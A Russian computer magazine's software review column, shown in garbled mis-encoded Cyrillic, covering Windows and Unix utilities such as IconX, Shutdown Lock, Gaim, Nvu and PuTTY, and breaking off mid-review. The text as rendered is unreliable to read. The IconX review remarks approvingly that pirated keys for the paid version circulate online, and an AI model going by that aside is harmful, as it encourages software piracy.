íèå âåðñèè ýòîé ïðîãè ïîçâîëÿþò âîññòàíàâëèâàòü ïðåäûäóùèå ñîñòîÿ-
íèÿ îòäåëüíûõ ôàéëîâ, à íå òîëüêî âñåé ôàéëîâîé ñèñòåìû öåëèêîì. Ê
òîìó æå çàðåãèñòðèðîâàííàÿ âåðñèÿ RestoreIT ìîæåò ñîçäàâàòü auto-
recover CD/DVD ñ îáðàçîì âûáðàííîãî äèñêà � ìíîãèå ñåðüåçíûå ïîëü-
çîâàòåëè ïðîãðàììû óæå ïî äîñòîèíñòâó îöåíèëè ýòó åå ôèøå÷êó. 

IconX v 1.1
Windows 9x/Me/NT/2k/XP
Size: 1642 Kb
Shareware
www.stardock.com/products/iconx

Êîìïàíèÿ Stardock íå ïåðåñòàåò
ðàäîâàòü íàñ ñâîèìè îðèãèíàëüíû-
ìè ðàçðàáîòêàìè, ïðåäíàçíà÷åí-
íûìè äëÿ èçìåíåíèÿ èíòåðôåéñà
Windows â ëó÷øóþ ñòîðîíó. Ïðîã-
ðàììà IconX � åå íîâûé ïðîäóêò,
ðàäèêàëüíî óëó÷øàþùèé âíåøíèé
âèä è ïîâåäåíèå èêîíîê, êîòîðûõ
âñåãäà ïîëíûì-ïîëíî íà Ðàáî÷åì
ñòîëå ëþáîãî ïîëüçîâàòåëÿ. Ñàìîå
ïðèÿòíîå, ÷òî ñðàçó æå ïîñëå çà-

ïóñêà ïðîãà ïîäõâàòûâàåò òå èêîíêè, ÷òî ó òåáÿ óæå åñòü, è çàñòàâëÿåò
èõ âûãëÿäåòü çàìåòíî êðàñèâåå. Íåáîëüøàÿ æå íàñòðîéêà âîîáùå ïðåâ-
ðàùàåò òâîé ýêðàí â âîñüìîå ÷óäî ñâåòà. Âî-ïåðâûõ, IconX äîïóñêàåò
óâåëè÷åíèå èêîíîê äî çàäàííîãî ðàçìåðà áåç óõóäøåíèÿ èõ âíåøíåãî
âèäà (ïðèìåíÿåòñÿ ìåõàíèçì ñãëàæèâàíèÿ). Âî-âòîðûõ, èêîíêè ìîæíî
çàñòàâèòü îòáðàñûâàòü ñòèëüíûå òåíè, ìîæíî ñäåëàòü ñàìè èêîíêè ïî-
ëóïðîçðà÷íûìè èëè äàæå ïðèäàòü âñåì èêîíêàì íóæíûé òåáå îòòåíîê.
Íó à â-òðåòüèõ, òû ìîæåøü íàñòðîèòü èêîíêè íà òî, ÷òîáû îíè âçàèìî-
äåéñòâîâàëè ñ êóðñîðîì ìûøè. Ê ïðèìåðó, IconX áåç òðóäà ïîçâîëÿåò
äîáèòüñÿ òîãî, ÷òîáû ïîä êóðñîðîì ìûøêè òâîè èêîíêè ïëàâíî óâåëè÷è-
âàëèñü â ðàçìåðàõ è òèõî ïîïèñêèâàëè. IconX äîïóñêàåò è èíäèâèäóàëü-
íóþ ðàáîòó ñ èêîíêàìè (çàìåíó ñòàíäàðòíîé ICO'øêè ïîäõîäÿùåé êàð-
òèíêîé â ôîðìàòå PNG). Ñàìî ñîáîé, åñòü ôóíêöèÿ çàãðóçêè/ñîõðàíåíèå
ãîòîâûõ òåì. Íåñêîëüêî òàêèõ òåì èäåò â êîìïëåêòå ñ ïðîãðàììîé.
Åñòü ëèøü îäíà ïðîáëåìà � íà õàëÿâó ðàçðàáîò÷èêè âûäàþò âåðñèþ ñ
î÷åíü îãðàíè÷åííûìè âîçìîæíîñòÿìè. Íî, ñ äðóãîé ñòîðîíû, ññûëêè íà
«ðàñøèðåííóþ âåðñèþ» è êëþ÷è ê íåé óæå âîâñþ ãóëÿþò ïî èíåòó:).

Shutdown Lock v 1.4
Windows 2k/XP/2003
Size: 356 Kb
Freeware
www.shutdownlock.com

Êðîøå÷íàÿ óòèëèòà, êîòîðàÿ ïîç-
âîëÿåò îáåçîïàñèòü ìàøèíó îò íå-
îæèäàííûõ âûêëþ÷åíèé è ïåðåçàã-
ðóçîê, êîòîðûå â íåêîòîðûõ ñëó÷à-
ÿõ ìîãóò ïðèâåñòè ê âåñüìà
÷óâñòâèòåëüíîé ïîòåðè äàííûõ.
Shutdown Lock àâòîìàòè÷åñêè
ñòàðòóåò ïîñëå çàãðóçêè îñè è òèõî
ñèäèò ñåáå â ñèñòåìíîì òðåå. Îä-
íèì êëèêîì ïî èêîíêå óòèëèòó
ìîæíî àêòèâèðîâàòü/äåàêòèâèðî-
âàòü. Â àêòèâíîì ñîñòîÿíèè
Shutdown Lock ïåðåõâàòûâàåò âñå ïîïûòêè äðóãèõ ïðîãðàìì âûêëþ-
÷èòü/ïåðåçàãðóçèòü êîìïüþòåð èëè ïðèíóäèòåëüíî çàâåðøèòü ñåàíñ
ðàáîòû ïîëüçîâàòåëÿ. Òû ñàì âûáèðàåøü, êàêèå ñèãíàëû óòèëèòà

New Release



äîëæíû ïåðåõâàòûâàòü, è êàê íà íèõ åé ñëåäóåò ðåàãèðîâàòü. Â ïðîñ-
òåéøåì ñëó÷àå óòèëèòà ïðîñòî èíôîðìèðóåò þçåðà î ïîïûòêàõ òîé
èëè èíîé ïðîãè âûïîëíèòü Log Off èëè Shutdown. Ýòîò ðåæèì ñòîèò
âêëþ÷àòü ïðè ðàáîòå íàä ñåðüåçíûìè ïðîåêòàìè, íà ñëó÷àé ñáîåâ èëè
ïîÿâëåíèÿ äåòåé/êîëëåã, ñïîñîáíûõ, íå ïîñîâåòîâàâøèñü, óñòðîèòü â
òâîå îòñóòñòâèå «Çàâåðøåíèå ðàáîòû». 
Êðîìå òîãî, Shutdown Lock ìîæíî èñïîëüçîâàòü äëÿ òðàíñëÿöèè îäíèõ
äåéñòâèé â äðóãèå. Ê ïðèìåðó, ìíîãèå óòèëèòû, òèïà FlashGet, Nero
Burning ROM, AudioGrabber ìîãóò, çàêîí÷èâ ðàáîòó, âûðóáàþò êîìï. Òàê
âîò, Shutdown Lock ìîæåò ñäåëàòü òàê, ÷òîáû âìåñòî âûêëþ÷åíèÿ êîìïü-
þòåð ïåðåõîäèë â æäóùèé èëè ñïÿùèé ðåæèì.
À åùå ýòîé óòèëèòîé ìîæíî ïîëüçîâàòüñÿ äëÿ áûñòðîãî âûêëþ÷åíèÿ/ïå-
ðåçàãðóçêè ìàøèíû. Õîòÿ, åñëè ÷åñòíî, âûïîëíåíèå ýòèõ îïåðàöèé
Shutdown Lock îñîáî íå óñêîðÿåò, òàê ÷òî ÿ, êîãäà òîðîïëþñü, ïî-ïðåæ-
íåìó ïðåäïî÷èòàþ þçàòü SuperFast Shutdown (www.xp-smoker.com), êî-
òîðûé äåéñòâèòåëüíî âûðóáàåò ìîé êîìï â ÷åòûðå ðàçà áûñòðåå, ÷åì
äëèòñÿ ñòàíäàðòíàÿ ïðîöåäóðà âûêëþ÷åíèÿ.

Cactus Emulator 2.0
Windows 95/98/Me/2K/XP/2003
Freeware 
Size: 2256 Êá
www.iconempire.com/cactus-emulator

Âðåìÿ ìåíÿòü èìåíà, åñëè òû
ñ÷èòàåøü, ÷òî ðåçèíîâàÿ æåíùè-
íà è áåçàëêîãîëüíîå ïèâî � ïðå-
äåë âèðòóàëèçàöèè. Íåò, ñîâñåì
íåò, òû íå ñòàíåøü ðåàëüíûì
âèðòóàëîì áåç ÝÌÓËßÒÎÐÀ êàê-
òóñà. Ïîìíèøü, êàê áàáóøêà ïî-
êóïàëà òåáå ýòó øíÿãó, çàñòàâëÿ-
ëà ñòàâèòü íà ìîíèòîð, ÷òîáû çà-
ùèòèòü òåáÿ îò ðàäèàöèè è ïðî-
÷åé áåäû? Êàêòóñ, êñòàòè, îáåùàë òàêæå ïîäúåì ñåêñóàëüíîñòè,
âçðûâ äóõîâíîé ýíåðãèè è âñåîáùèé ïîäúåì êàðìû. Êàê ÿ ðàíüøå
æèë áåç ýòîãî? Îòâåòîì íà ðèòîðè÷åñêèé âîïðîñ ñòàíåò ïðîãà
Cactus Emulator. Íå çíàþ, íàñêîëüêî ðåàëüíî òû ñìîæåøü îçäîðî-
âèòüñÿ, íî ïî êðàéíåé ìåðå, òâîÿ áàáóøêà áóäåò ñïîêîéíà è èçáà-
âèò ñòîë îò íåíóæíîãî ñîðíÿêà :). Ïîêà æå áóäó æäàòü ýìóëÿòîðà
ãàëëþöèíîãåííîãî êàêòóñà :).

Gaim 1.4.0 for Windows 
Windows 95/98/Me/2K/XP/2003
Freeware/Open Source
Size: 6731 Êá
gaim.sourceforge.net 

Êîãî ìîæíî ïðåñëåäîâàòü ïîâñåìåñòíî? Áåçîò-
âåòíóþ ëþáîâü èëè îò÷àÿííîãî äîëæíèêà? Âîâ-
ñå íåò, ïîðîé ïðèõîäèòñÿ îòûñêèâàòü îáûêíî-
âåííûõ êîëëåã ïî ðàáîòå íà ïðîñòðàíñòâå ìíî-
æåñòâà IM-ñåòåé. Òóò ëþáèìîé ICQ èçìåíÿþò ñ
AIM, Yahoo, Jabber è êó÷åé äðóãèõ ìåíåå èìå-
íèòûõ êîëëåã ïî öåõó. Äàæå ìîé íîâûé íîóò íà
Sonoma ñ ãèãîì ïàìÿòè íå âûòÿíåò ãðóçà äîá-
ðîé ïîëóñîòíè âîçìîæíûõ áîëòàëîê. 
Íóæíî óíèâåðñàëüíîå è êîìïàêòíîå ðåøåíèå,
êîòîðîå ïîñòàâëÿåòñÿ ñ Gaim � óíèâåðñàëü-
íûì êëèåíòîì, êîòîðûé îäíîâðåìåííî ðàáîòà-
åò ñ ìíîæåñòâîì ñåòåé, òàê ÷òî òû îñòàíåøüñÿ

íà ñâÿçè äàæå ñ ïåðåäîâèêàìè IM-ðàçâðàòà :). Â îòëè÷èå îò ðÿäà ïîäîá-
íûõ ïðîã, Gaim óäà÷íî ðàáîòàåò ñ áåòêîé IE 7, íåäàâíî ïîêîñèâøåé öå-
ëóþ ñåðèþ áîëåå ÿðêèõ èìåí. 

e-Paint 2.0.16
Windows 95/98/Me/2K/XP/2003
Shareware 
Size: 5466 Êá 
www.mindworkshop.com/alchemy/paint.html

Ëåòî ïðîëåòåëî, íî ìíå è ñåé÷àñ òàê õî÷åòñÿ ëåãêîñòè! Ñîâñåì ëîìàåò òÿ-
ãàòü ðàáî÷èé P4-íîóò äîìîé, ðàçãîíÿÿ òîëïû ïàññàæèðîâ ìåòðî îãðîìíûì
áàóëîì. Õî÷åòñÿ ëåãêîñòè ìàëåíüêîé 8.4-äþéìîâîé Äþéìîâî÷êè, êîòîðàÿ,
óâû, íå îáëàäàåò íóæíîé ìîùíîñòüþ äëÿ ðàáîòû ñ Ôîòîøîïîì. Îñîáåííî
ñèòóàöèÿ óõóäøàåòñÿ, êîãäà òû ïðèâûê ðàáîòàòü ñ PS, íå îòêàçûâàÿñü îò ðà-
äîñòè êó÷è äîïîëíèòåëüíûõ ïëàãèíîâ. 

Äëÿ ëþáèòåëåé ìà-
ëåíüêîãî âåñà, ýêîíî-
ìèè äåíåã (èçáàâëå-
íèÿ îò ïîêóïêè êîì-
ïàêòíûõ ìîíñòðîâ çà
$2�3 òûñÿ÷è) è ðàáî-
òû ñî ñëîæíîé ãðàôè-
êîé îäíîâðåìåííî �
ïîÿâèëîñü ñòðîéíîå
ðåøåíèå. e-Paint â
ñâîåé ýìàíàöèè äàñò
òåáå âñå íåîáõîäè-
ìîå áåç ëèøíåãî íàã-
ðóçà íà òâîé êîìï è

ïîêóøåíèÿ íà èíòåðíåò òðàôèê, êîòîðûé íàäî áûëî áû ñïóñòèòü íà
ñêà÷êó ïîëíîé âåðñèè Ôîòîøîïà. Ðåøåíèå â ñòèëå «Êîãäà ðàçìåð
èìååò çíà÷åíèå» ;).

GX::Transcoder 2.20.2737 RC2 
Windows 2K/XP/2003
Freeeware 
Size: 13430 Êá 
www.germanixsoft.de

Â áåçîñòàíîâî÷íîé áîðüáå çà óíèâåðñàëèçàöèþ ñëîæíî îáîéòè
ïðîáëåìó ðàáîòû ñ ìíîæåñòâîì çâóêîâûõ ôîðìàòîâ. Â÷åðà òåáå
íóæíî áûëî ïåðåãíàòü ìåëîäèþ â midi äëÿ óñòàíîâêè íà ìîáèëó ìà-
ëîëåòíåé ñåñòðû, ñåãîäíÿ wma-ôàéëû ïåðåâåñòè â êëàññèêó mp3 äëÿ
ïðîèãðûâàíèÿ íà äîïîòîïíîì ïëååðå, à çàâòðà òû óñòðîèøüñÿ íà ðà-
áîòó, ãäå àäìèí çàïðåòèò óñòàíîâêó OGG-ïëååðà. Íå æèçíü, à ñïëîø-
íàÿ ïåðåñòðîéêà, òî÷íåå, ïåðåãîíêà � èç ôîðìàòà â ôîðìàò. Ìíîæåñò-
âî ðàçðàáîò÷èêîâ èìåþò äóðíóþ ïðèâû÷êó ìîíîïîëèçàöèè ïðîèçâîä-
ñòâà ñîôòà äëÿ ðàáîòû ñ ôîðìàòîì ñîáñòâåííîãî ïðîèçâîäñòâà. Îòâåò
ïîäîáíûì ñîôòâåðíûì áàðûãàì � GX Transcoder, êîòîðûé ñìîæåò ïå-
ðåëîïàòèòü íåñìåòíûå òûñÿ÷è ôîðìàòîâ áåç ïîêóøåíèÿ íà çåëåíü èç
òâîåãî êàðìàíà. 

TrafficCompressor 0.1 Build 145 
Windows 95/98/Me/2K/XP/2003
Freeware 
Size: 558 Êá
www.tcompressor.com

Ñåé÷àñ, îòñèæèâàÿñü íà ïëàòíîì GPRS'å, ÿ âñïîìèíàþ  òî âðåìÿ, êàê
ñëàäêèé ñîí, êîãäà ãîíÿë ïî äåñÿòêó ãèãîâ åæåäíåâíî ìåæäó äâóìÿ
OC12-ñòàíöèÿìè. Òîãäà õàëÿâíûé áåíäâè÷ êàçàëñÿ íåîáõîäèìûì óñ-
ëîâèåì. Ñåé÷àñ æå ëèøíÿÿ ïàðà ãèãîâ ìîæåò âûãíàòü òåáÿ â ãîðîä çà
ïîêóïêîé î÷åðåäíîé êàðòî÷êè äëÿ ïîïîëíåíèÿ áàëàíñà ìîáèëû. ×òî-
áû ñîêðàòèòü ÷èñëî ïîäîáíûõ «âûãîíîâ», ÿ ïðåäëàãàþ òåáå îáðàòèòü
ñâîé îãíåííûé âçîð íà äàííûé êîìïðåññîð, êîòîðûé ñìîæåò ñîêðà-
òèòü íà 40�45% òâîè çàòðàòû íà òðàôèê. 
Ñòîèò ïîìíèòü, ÷òî ñæèìó ïîääàñòñÿ ëèøü òåêñòîâîé òðàôèê, è
äëÿ ñîêðàùåíèÿ çàòðàò íà âåáå òåáå ïðèäåòñÿ îòêàçàòüñÿ îò ðîñ-
êîøè ïðîñìîòðà êàðòèíîê. Íàõðåíà ýòà ëåïîòà, êîãäà íà ìîáèëå
îñòàåòñÿ ìåíüøå ïîëóáàêñà? Ðàçóìíûå è ýêîíîìíûå ïîäðóæàòñÿ ñ
TrafficCompressor.
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UnixwareZ
Worker v 2.10.2
POSIX (*BSD, Linux, Solaris...)
Size (â .bz2): 560 ÊÁ
http://www.boomerangsworld.de/worker/
Ëèöåíçèÿ: GNU GPL

Worker � ïðîñòîé
ôàéëîâûé ìåíåäæåð
äëÿ X-Window ñ ïðè-
âû÷íûì èíòåðôåéñîì
â âèäå äâóõ ïàíåëåé.
Ïðèìå÷àòåëåí òåì, ÷òî
íå òðåáóåò ãðàôè÷åñ-
êèõ áèáëèîòåê, âðîäå
GTK+ è Qt. Âñå îñíîâ-
íûå êîìàíäû ðåäñòàâ-
ëåíû â âèäå êíîïîê â

ñïåöèàëüíîé íèæíåé ïàíåëè: ñ èõ ïîìîùüþ ìîæíî êàê ïðîâîäèòü ôàé-
ëîâûå îïåðàöèè (êîïèðîâàíèå, óäàëåíèå, ïåðåìåùåíèå è ò.ï.), òàê è óï-
ðàâëÿòü îòîáðàæàåìûìè ñïèñêàìè (ïåðåìåíà ìåñò ïàíåëåé, ñîðòèðîâêà,
ôèëüòðû), âûïîëíÿòü òàêèå «ïðîäâèíóòûå» äåéñòâèÿ, êàê, íàïðèìåð,
ìîíòèðîâàíèå CD-ïðèâîäà, âûçîâ òåêñòîâîãî ðåäàêòîðà mcedit, òåðìè-
íàëà xterm èëè äðóãîé âíåøíåé ïðîãðàììû. Ïåðå÷åíü äîñòóïíûõ â íèæ-
íåé ïàíåëè ôóíêöèé ýòèì íå îãðàíè÷èâàåòñÿ, è ïî íàæàòèþ íà ñèðåíå-
âóþ ïîëîñêó îáíîâëÿåòñÿ, ïðåäîñòàâëÿÿ êíîïêè äëÿ ðàáîòû ñ tar è àðõè-
âàìè â tgz, rar, zip, lha, bzip2 (ñîçäàíèå, ñæàòèå è ðàçàðõèâèðîâàíèå, êîí-
âåðòèðîâàíèå èç gz â bz2), ñ óòèëèòàìè ci/co, cvs è diff, ñ èçîáðàæåíèÿìè
(jpegoptim, êîíâåðòèðîâàíèå â jpg/png, âûçîâ GIMP), ñ àóäèîêîäåðàìè
(gogo, bladeenc, l3enc) è àóäèîäèñêàìè (cdparanoia äëÿ êîäèðîâàíèÿ òðå-
êîâ ñ CD). Íà ìåñòå ëþáîé èç äâóõ ãëàâíûõ ïàíåëåé, ïîìèìî ñïèñêà ôàé-
ëîâ, ìîæåò îòîáðàæàòüñÿ âûáðàííûé ðèñóíîê èëè ïîäðîáíàÿ èíôîðìà-
öèÿ î òåêóùåì ôàéëå/êàòàëîãå. Èìååòñÿ âñòðîåííûé ïðîñìîòðùèê òåêñ-
òîâûõ ôàéëîâ è èñòîðèÿ ïåðåõîäîâ ïî êàòàëîãàì äëÿ êàæäîé ïàíåëè.

NetWhistler v 2.6.1
Linux, Solaris, Windows
Size (â .gz): 1380 ÊÁ*
http://netwhistler.spb.ru
Ëèöåíçèÿ: GNU GPL

NetWhistler � íàïèñàííàÿ íà Java óòèëèòà äëÿ ìîíèòîðèíãà çà ñåòåâûìè
îáúåêòàìè. Ïîçâîëÿåò ñîçäàâàòü â ñâîåì ãëàâíîì îêíå êàðòó, ñîñòîÿùóþ
èç óçëîâ è îêðóæàþùèõ òåððèòîðèé.
Â ðîëè ïåðâûõ âûñòóïàþò ðàçíîîá-
ðàçíûå ñåðâåðû, òî÷êè äîñòóïà, fire-
wall'û, õàáû, òåðìèíàëû, îáû÷íûå
ðàáî÷èå ñòàíöèè è ò.ï. Äëÿ êàæäîãî
èç íèõ çàäàþòñÿ òèï, IP-àäðåñ (ìî-
æåò îòîáðàæàòüñÿ è êàê èìÿ, ïîëó-
÷åííîå îò DNS), äîïîëíèòåëüíîå
îïèñàíèå è/èëè êàðòèíêà, ïðèñóò-
ñòâóþùèå íà óçëå ñåðâèñû (FTP,
HTTP, POP3, SMTP è SSH), óïðàâëÿ-
åìîñòü ïî SNMP, âêëþ÷åíèå ìîíè-

òîðèíãà. «Òåððèòîðèè» � ýòî çàäàííûå îáëàñòè íà êàðòå, êîòîðûì ïðèñ-
âàèâàþòñÿ öâåòà, òåíü, çàãîëîâîê è îïèñàíèå � òàêèì îáðàçîì, ìîæíî âû-
äåëèòü ÷àñòü êàðòû ñ ðàáî÷èìè ñòàíöèÿìè ñîòðóäíèêîâ êàêîãî-òî ïîäðàç-
äåëåíèÿ êîìïàíèè äëÿ íàãëÿäíîñòè. Ñàì ïðîöåññ ìîíèòîðèíãà îñóùåñòâëÿ-
åòñÿ ñ ïîìîùüþ óòèëèòû fping, à íå îòâå÷àþùèå íà åãî çàïðîñû îáúåêòû,
âûäåëÿþòñÿ êðàñíûì öâåòîì (ýòî ñîáûòèå îïöèîíàëüíî îïîâåùàåòñÿ ñî-
îáùåíèåì èëè ïèñüìîì íà e-mail). Ïîñëå ðàñïîëîæåíèÿ âñåõ óçëîâ èõ
ìîæíî â ðåæèìå Connect mode äðóã ñ äðóãîì ïîäêëþ÷èòü â ñîîòâåòñòâóþ-
ùåì îðãàíèçàöèè ñåòè ïîðÿäêå. Ïðè íàâîäå ìûøêîé íà ëþáîé èç íèõ
îòîáðàæàåòñÿ ðàñøèðåííàÿ èíôîðìàöèÿ, ïîëó÷åííàÿ çà âðåìÿ íàáëþäå-
íèÿ (íàïðèìåð, uptime èëè äîñòóïíîñòü êàêîãî-ëèáî èç ñåðâèñîâ â äàííûé
ìîìåíò). NetWhistler óìååò ñàìîñòîÿòåëüíî íàõîäèòü ñåòè è ñêàíèðîâàòü
èõ íà íàëè÷èå óñòðîéñòâ ñ ïîääåðæêîé SNMP. Â ïðîãðàììó âõîäÿò óòèëè-
òû äëÿ ðàáîòû ñ SNMP, ñêàíåð ïîðòîâ. Ñîçäàííàÿ êàðòà ìîæåò áûòü ñîõ-
ðàíåíà â îáû÷íûé ôàéë èëè áàçó äàííûõ MySQL.
* Ñáîðêà äëÿ Linux.

Nvu v 1.0
Linux, FreeBSD, Mac OS X, Windows
Size (â .bz2): 9,5 ÌÁ*
www.nvu.com
Ëèöåíçèÿ: GNU GPL

Nvu � íîâàÿ ñðåäà ðàçðàáîòêè web-ñàéòîâ, ñïîíñèðóåìàÿ êîìïàíèåé
Linspire è îñíîâàííàÿ íà äâèæêå Gecko è ïðîåêòå Mozilla Composer. Èç ïîñ-
ëåäíåãî âïîëíå î÷åâèäíî âûòåêàåò áàçîâàÿ ôóíêöèîíàëüíîñòü ïðîãðàììû,
îäíàêî ïëîõîãî â ýòîì íè÷åãî íåò. Â Nvu ïåðåíÿëè îïûò ðàçðàáîò÷èêîâ ðå-
äàêòîðà web-ñòðàíèö Mozilla, âîçìîæíîñòè è èíòåðôåéñ êîòîðîãî ìíîãîê-
ðàòíî áûëè ïðîâåðåíû ïîëüçîâàòåëÿìè è âðåìåíåì. Âñåãî ïðåäñòàâëåíî
÷åòûðå ðåæèìà ðàáîòû: «îáû÷íûé» (ïîëíûé WYSIWYG), «HTML-òýãè»
(àíàëîãè÷åí ïåðâîìó, íî âîçëå êàæäîãî âèäèìîãî ýëåìåíòà óêàçàí îòêðû-
âàþùèé åãî òýã B � ïåðåä æèðíûì òåêñòîì, A � ïåðåä ññûëêàìè è ò.ï.),
«êîä» (òåêñòîâûé ðåäàêòîð ñàìîãî êîäà ñ ïîäñâåòêîé è íóìåðàöèåé ñòðîê),
ïðåäâàðèòåëüíûé ïðîñìîòð. Ãëàâíûì ïëþñîì ïîñëåäíåãî è âàæíûì ìî-
ìåíòîì äëÿ âñåãî Nvu ÿâëÿåòñÿ âûøåóïîìÿíóòûé äâèæîê Gecko, ãåíåðèðó-
þùèé îòîáðàæåíèå è ïîçâîëÿþùèé ñðàçó ïîíÿòü, êàê ýòà ñòðàíèöà áóäåò
òî÷íî âûãëÿäåòü â Mozilla/Firefox. Ñòîèò îòìåòèòü âñòðîåííûé FTP-ìåíåä-
æåð äëÿ çàêà÷êè ñîçäàííûõ ñòðàíèö íà ñàéò (ðàáîòó ñî ìíîãèìè ïðîåêòàìè
óïðîùàåò «ìåíåäæåð ñàéòà Nvu», â êîòîðîì ìîãóò õðàíèòüñÿ äàííûå äëÿ
äîñòóïà ê ðàçëè÷íûì FTP). Ðåàëèçîâàí è ðåäàêòîð òàáëèöû ñòèëåé CSS ñ
èíòóèòèâíî ïîíÿòíûì âíåøíèì âèäîì è äîñòàòî÷íî áîãàòûìè âîçìîæíîñ-
òÿìè. Ïîääåðæèâàþòñÿ òåìû è ðàñøèðåíèÿ. Â öåëîì æå, Nvu ïðåäñòàâëÿåò
ñîáîé äîðàáîòàííóþ ñ óìîì âåðñèþ Mozilla Composer, êîòîðóþ ìîæíî ñìå-
ëî ðåêîìåíäîâàòü êàê íîâè÷êàì (äëÿ íèõ åñòü è ïîëíîñòüþ ðóññêîÿçû÷íàÿ
âåðñèÿ ïðîäóêòà), òàê è áîëåå îïûòíûì ñàéòîñòðîèòåëÿì.
* Ñáîðêà äëÿ Linux.

PuTTY v 0.58
POSIX, Windows
Size (â .gz): 1530 ÊÁ
www.chiark.greenend.org.uk/~sgtatham/putty
Ëèöåíçèÿ: MIT

PuTTY � ðàñïðîñòðàíåííàÿ îòêðûòàÿ ðåàëèçàöèÿ êëèåíòà äëÿ ïðîòîêîëîâ
Telnet, Rlogin è SSH. Ñëóæèò ïðîäâèíóòîé çàìåíîé ðàçíîîáðàçíûì íåáîëü-
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øèì êîíñîëüíûì óòèëèòàì äëÿ óñòàíîâëåíèÿ ñâÿçè ñ óäàëåííûì êîìïüþòå-
ðîì è äàëüíåéøåé ðàáîòû ñ íèì (ïîñëå ïîäêëþ÷åíèÿ îòêðûâàåòñÿ óêàçàí-
íûé òåðìèíàë, â êîòîðîì è ïðîõîäèò ïðèâû÷íûé ñåàíñ). Êîíôèãóðàöèÿ
PuTTY ïîçâîëÿåò ïîëíîñòüþ íàñòðàèâàòü èíòåðôåéñ òåðìèíàëà (â åãî ðîëè
«ïî óìîë÷àíèþ» èñïîëüçóåòñÿ xterm): ðàçìåðû îêíà, ñïèñîê ñòðîê äëÿ îáðàò-
íîé ïðîêðóòêè, âèä êóðñîðà, ïîâåäåíèå ìûøêè, âñå îòîáðàæàåìûå öâåòà
(çàäàþòñÿ òðåìÿ çíà÷åíèÿìè ïî RGB), øðèôòû è ò.ï. Êðîìå òîãî, ïðèñóò-
ñòâóåò îïöèÿ êîíòðîëèðîâàíèÿ íåêîòîðûìè ïîñëåäîâàòåëüíîñòÿìè êëàâèà-
òóðû, óïðàâëåíèå «çâîíêàìè» è òàêèìè ïðîäâèíóòûìè ôóíêöèÿìè, êàê, íàï-
ðèìåð, óäàëåííîå èçìåíåíèå ðàçìåðîâ òåðìèíàëà. Ïðè ïîäêëþ÷åíèè ïîä-
äåðæèâàåòñÿ âêëþ÷åíèå/âûêëþ÷åíèå àëãîðèòìà Íýãëà è TCP keep-alive, ñî-
åäèíåíèå ÷åðåç ïðîêñè (SOCKS 4/5, HTTP, Telnet, ëîêàëüíûé). Ïîëåçíîé ìî-
æåò îêàçàòüñÿ ôóíêöèÿ óñòàíîâêè çíà÷åíèé ïðîèçâîëüíûì ïåðåìåííûì îê-
ðóæåíèÿ. Äëÿ SSH çàäàåòñÿ ïîðÿäîê ïðåäïî÷òèòåëüíûõ àëãîðèòìîâ øèôðî-
âàíèÿ (AES, Blowsifh, DES/3DES), âåðñèÿ ïðîòîêîëà (1, 2, òîëüêî 1 èëè òîëü-
êî 2), âêëþ÷åíèå/âûêëþ÷åíèå ñæàòèÿ, ôàéë ñ êëþ÷îì äëÿ àâòîðèçàöèè è
äðóãèå ïàðàìåòðû. Ïðåäóñìîòðåíà ñèñòåìà ëîãèðîâàíèÿ ëþáûõ ñåàíñîâ.

Granule v 1.1.6
Linux, FreeBSD
Size (â .gz): 445 ÊÁ
http://granule.sourceforge.net
Ëèöåíçèÿ: GNU GPL

Granule � ïðîãðàììà, îáëåã÷àþùàÿ
ïðîöåññ çàïîìèíàíèÿ íîâûõ ñëîâ. Â
åå îñíîâå ëåæèò ðåàëèçàöèÿ ìåòîäè-
êè íåìåöêîãî ïñèõîëîãà Ëåéòíåðà ïî
ïðèìåíåíèþ ñïåöèàëüíûõ êàðòî÷åê.
Ñóòü çàêëþ÷àåòñÿ â ñîñòàâëåíèè êàð-
òî÷åê, íà êîòîðûõ ñ îäíîé ñòîðîíû
óêàçûâàåòñÿ ñëîâî, íàïðèìåð, íà
ðóññêîì ÿçûêå, à íà äðóãîé � íà
èíîñòðàííîì (â êà÷åñòâå êîäèðîâêè
èñïîëüçóåòñÿ UTF-8, òàê ÷òî ïîääåð-
æèâàåòñÿ ìíîæåñòâî ñïåöèôè÷íûõ
íàöèîíàëüíûõ áóêâ). Äîïîëíèòåëüíî
ìîæíî ââîäèòü ïðèìåð ïðèìåíåíèÿ
ýòîãî íåèçâåñòíîãî «èãðàþùåìó»
ñëîâà (ïðåäëîæåíèå ñî çíàêîì «~»
íà ìåñòå, ãäå îíî äîëæíî áûòü). Òà-
êèì îáðàçîì ñîñòàâëÿåòñÿ êîëîäà, è
íà÷èíàåòñÿ ïðîöåññ îïðàøèâàíèÿ:
êîìïüþòåð âûäàåò èíîñòðàííîå ñëî-

âî, à ïîëüçîâàòåëþ íåîáõîäèìî
ââåñòè åãî ïåðåâîä, ïîñëå ÷åãî äåìî-
íñòðèðóåòñÿ ðåçóëüòàò ïðîâåðêè è
ìîæíî ïåðåõîäèòü ê ñëåäóþùåé êàð-
òå. Êîëîäà ïî óñìîòðåíèþ ïåðåìå-
øèâàåòñÿ, à ïîâòîðåíèå îäíèõ è òåõ
æå ñëîâ â ðàìêàõ çàäàííîé êîëîäû
ðåãóëèðóåòñÿ àâòîìàòè÷åñêè. Êîëî-
äû ïðè æåëàíèè «ñêëàäûâàþòñÿ» â

ðàçëè÷íûå îòäåëû êàðòîòåêè, ïîñëå ÷åãî ïîëó÷åííûé ôàéë ìîæíî ñîõðà-
íèòü äëÿ äàëüíåéøåãî èñïîëüçîâàíèÿ. Íåñêîëüêî ãîòîâûõ êîëîä äîñòóïíû
äëÿ ñêà÷èâàíèÿ â ðåïîçèòîðèè ïðîåêòà íà SF.net. Äëÿ ïîâûøåíèÿ ýôôåêòèâ-
íîñòè ïðîãðàììà óìååò âîñïðîèçâîäèòü çàïîìèíàåìûå ñëîâà â çâóêå (ïðè
íàëè÷èè óñòàíîâëåííîãî StarDict).

Gcalctool v 5.6.25
POSIX (*BSD, Linux, Solaris...)
Size (â .gz): 1728 ÊÁ

www.gnome.org
Ëèöåíçèÿ: GNU GPL

Gcalctool � êàëüêóëÿòîð ñ èíòåð-
ôåéñîì GTK+ 2.0 äëÿ GNOME. Ðàáî-
òàåò â ÷åòûðåõ îñíîâíûõ ðåæèìàõ:
îáû÷íûé, ðàñøèðåííûé, ôèíàíñî-
âûé, íàó÷íûé � îòëè÷àþòñÿ îíè íà-
áîðîì êíîïîê ñ ôóíêöèÿìè (åñëè â
îáû÷íîì ïðåäñòàâëåíû ëèøü 4 îïå-
ðàöèè, òî â ôèíàíñîâîì ïðèñóòñòâó-
þò òàêèå ñïåöèôè÷íûå âåùè, êàê,
